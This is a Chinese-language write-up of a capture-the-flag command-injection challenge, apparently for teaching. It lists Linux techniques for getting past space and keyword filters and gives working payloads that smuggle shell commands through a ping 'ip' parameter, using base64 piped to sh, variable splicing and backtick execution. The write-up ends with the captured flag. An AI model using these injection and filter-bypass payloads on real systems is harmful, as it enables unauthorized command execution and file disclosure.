[GXYCTF2019]Ping Ping Ping
这是一道考察命令执行的题目,其中涉及到的知识点是空格的绕过。
一、前置知识
做这道题之前,我们先来看一下linux中对空格的绕过有哪些方法:
- ${IFS}
- $IFS$9 $9可改成其他数字
- <
- <> 重定向符
- {cat,flag.php} 用逗号,实现了空格功能
再看一下Linux中执行多条命令的方法:
1.分号 ;
2. ||
3. &&
二、题解
好,下面让我们看这道题目:
提示接收一个ip参数。
发现它会去ping我们传入的ip,也就是去执行了ping命令。
那么我们尝试执行多条命令试试:
可以看到在当前目录下,有index.php和flag.php两个文件。但是当我尝试去读flag.php的时候,出现了过滤信息:
很显然这里是过滤了空格。
经过测试,发现$IFS$数字,这种方式可以成功绕过空格。应该是过滤了{}和<>。
但是紧接着又来了一个过滤:flag。
这时候就有两种思路可以想到:
- 编码绕过关键词。
- 变量拼接绕过关键词。
先来看第一种思路,编码绕过,这里用的是base64编码:
我们需要执行的命令是:
cat$IFS$9flag.php
base64之后为:
Y2F0JElGUyQ5ZmxhZy5waHA=
那么payload就是:
?ip=1;echo$IFS$9Y2F0JElGUyQ5ZmxhZy5waHA=|base64$IFS$9-d|sh
发现可以成功读取flag.php。
再看第二种思路,变量拼接:
同样,我们需要的执行的命令是:
cat$IFS$9flag.php
那么已知flag被过滤,我们可以将flag拆成fl和ag。
a=fl;b=ag;cat$IFS$9$a$b.php
那么payload就是:
?ip=1;a=fl;b=ag;cat$IFS$9$a$b.php
但是发现依旧被过滤,说明源码中过滤flag的方式可能是*f*l*a*g的方式过滤的。
问题不大,那我们直接就用一个变量拼接试试:
?ip=1;b=ag;cat$IFS$9fl$b.php
成功读取flag。
flag:
flag{ce6c851b-f31c-4f44-9131-f98d16807127}
三、另一种绕过方式
除了上面两种绕过方式,笔者还看到了另一种payload,就是用反引号产生的内联执行,也就是将反引号内命令的输出当作输入。
payload为:
?ip=1;cat$IFS$9`ls`
而且发现index.php有过滤的源码,这之前倒是没想起来看index.php。
四、题后思考
这道题的编码绕过还有其他很多中方式,比如hex编码、shellcode编码等等。
可以看这篇文章,扩展一下知识面:
浅谈命令执行的绕过方法